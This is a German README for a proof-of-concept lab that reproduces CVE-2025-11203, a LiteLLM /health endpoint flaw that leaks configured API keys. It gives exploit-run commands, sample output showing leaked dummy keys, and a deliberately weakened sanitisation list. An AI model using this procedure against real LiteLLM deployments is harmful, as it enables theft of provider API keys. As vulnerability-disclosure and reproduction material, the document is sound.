
Der Code zur persönlichen Reproduktion der entsprechenden Schwachstelle
LiteLLM (Versionen < 1.63.14) filtert beim Verarbeiten des
api_key-Parameters im/health-Endpunkt sensible Informationen nicht korrekt, sodass authentifizierte Benutzer in anderen Modellkonfigurationen gespeicherte API-Keys abrufen können. Dasapi_key-Feld, das eigentlich von der Funktion_clean_endpoint_data()entfernt werden sollte, wird in bestimmten Codepfaden preisgegeben.
| Feld | Wert |
|---|
| CVE | CVE-2025-11203 |
| ZDI ID | ZDI-25-929 (ZDI-CAN-26585) |
| CVSS v3.0 | 3.5 (LOW) — AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N |
| CWE | CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) |
| Betroffen | LiteLLM < 1.63.14 |
| Behoben | v1.63.14+ (_clean_endpoint_data() vollständig angewendet) |
| Veröffentlicht | 2025-10-29 |
| Entdeckt von | David Fiser & Alfredo Oliveira — Trend Micro Security Research |
| An Anbieter gemeldet | 2025-03-25 |
| Links | ZDI-25-929 • NVD • GHSA-w4vf-cc4x-mpjq |
Der /health-Endpunkt von LiteLLM wird verwendet, um den Gesundheitsstatus aller konfigurierten Modelle zurückzugeben. Normalerweise sollte die Funktion _clean_endpoint_data()
sensible Felder (wie api_key, x-api-key usw.) aus den Health-Check-Antworten entfernen.
Vor v1.63.14 wurde diese Bereinigungsfunktion in bestimmten Codepfaden jedoch nicht ausgeführt oder nur unvollständig ausgeführt, wodurch API-Keys aus Modellkonfigurationen im Klartext in den Health-Check-Antworten zurückgegeben wurden.
| Endpunkt | Methode | Beschreibung |
|---|---|---|
/health | GET | Gibt den Gesundheitsstatus aller Modelle zurück |
/health/liveliness | GET | Lebendigkeitsprüfung |
/health/readiness | GET | Bereitschaftsprüfung |
Authentifizierte Benutzer können über die Health-Check-Schnittstelle abrufen:
# 1. Verwundbare LiteLLM-Version starten
docker compose up -d
# 2. Abhängigkeiten installieren
pip install -r requirements.txt
# 3. Exploit-Skript ausführen
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key
# 4. Vollständige Antwort anzeigen
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key --verbose
# 5. (Optional) Behobene Version verifizieren
docker compose --profile fixed up -d
python3 exploit/exploit.py --target http://localhost:4001 --key sk-litellm-master-key --fixed
======================================================================
[VULNERABLE] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
Target : http://localhost:4000
API Key : sk-litellm-master-key...
Endpoint : /health
[*] Step 1: Query /health (this may take ~60s while LiteLLM probes upstream models)...
HTTP 200 — OK
[*] Step 2: Scanning for leaked credentials...
[🔥] LEAKED CREDENTIALS FOUND: 3 item(s)!
Path : unhealthy_endpoints[0].api_key
Field : api_key
Value : sk-this-is-a-leaked-openai-key...cdef123456 (len=43)
Path : unhealthy_endpoints[1].api_key
Field : api_key
Value : sk-another-leaked-key-789012xy...-789012xyz (len=31)
Path : unhealthy_endpoints[2].api_key
Field : api_key
Value : sk-ant-anthropic-leaked-key-xx...-key-xxxxx (len=33)
Models checked: 3
Credentials leaked: 3
[🔥] VULNERABILITY CONFIRMED: API keys exposed via /health!
Hinweis: Schritt 1 dauert ~60 s, da LiteLLM jedes Upstream-Modell abfragt (Dummy-Schlüssel führen bei jeder Verbindung zu einem Timeout). Die geleakten Schlüssel erscheinen unter
unhealthy_endpoints, da sich die Dummy-Schlüssel nicht wirklich mit OpenAI/Anthropic verbinden können.
Die behobene Version verhindert die Offenlegung:
======================================================================
[FIXED] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
No API keys found in response.
[+] Expected: keys sanitized by _clean_endpoint_data()
Die Schwachstelle befindet sich in der Funktion _clean_endpoint_data() in litellm/proxy/health_check.py,
die sensible Felder wie api_key über die Liste ILLEGAL_DISPLAY_PARAMS filtert:
ILLEGAL_DISPLAY_PARAMS = [
"messages",
"api_key",
"prompt",
"input",
"vertex_credentials",
"aws_access_key_id",
"aws_secret_access_key",
]
def _clean_endpoint_data(endpoint_data: dict, details: Optional[bool] = True):
return (
{k: v for k, v in endpoint_data.items() if k not in ILLEGAL_DISPLAY_PARAMS}
if details is not False
else {k: v for k, v in endpoint_data.items() if k in MINIMAL_DISPLAY_PARAMS}
)
In dieser Demo wurde "api_key" per sed aus ILLEGAL_DISPLAY_PARAMS entfernt,
sodass die /health-Antwort die unveränderten Modellkonfigurationen zurückgibt und so simuliert wird, dass die Bereinigungsfunktion in bestimmten Codepfaden umgangen wird.
CVE-2025-11203/
├── README.md # This file
├── docker-compose.yml # Vulnerable + fixed LiteLLM
├── litellm_config.yaml # Config with 3 models + API keys
├── requirements.txt # Python dependencies
├── litellm-vuln/
│ └── Dockerfile # pip install "litellm[proxy]==1.61.0" + patch
├── exploit/
│ └── exploit.py # Main exploit script
├── docs/
│ └── advisory.md
└── screenshots/
Die Schwachstelle wurde in v1.63.14 behoben, indem sichergestellt wird, dass _clean_endpoint_data() in allen Health-Check-Codepfaden korrekt aufgerufen wird.
/health-Endpunkt einschränkenHaftungsausschluss: Dieser Inhalt dient ausschließlich Bildungszwecken und autorisierten Sicherheitstests.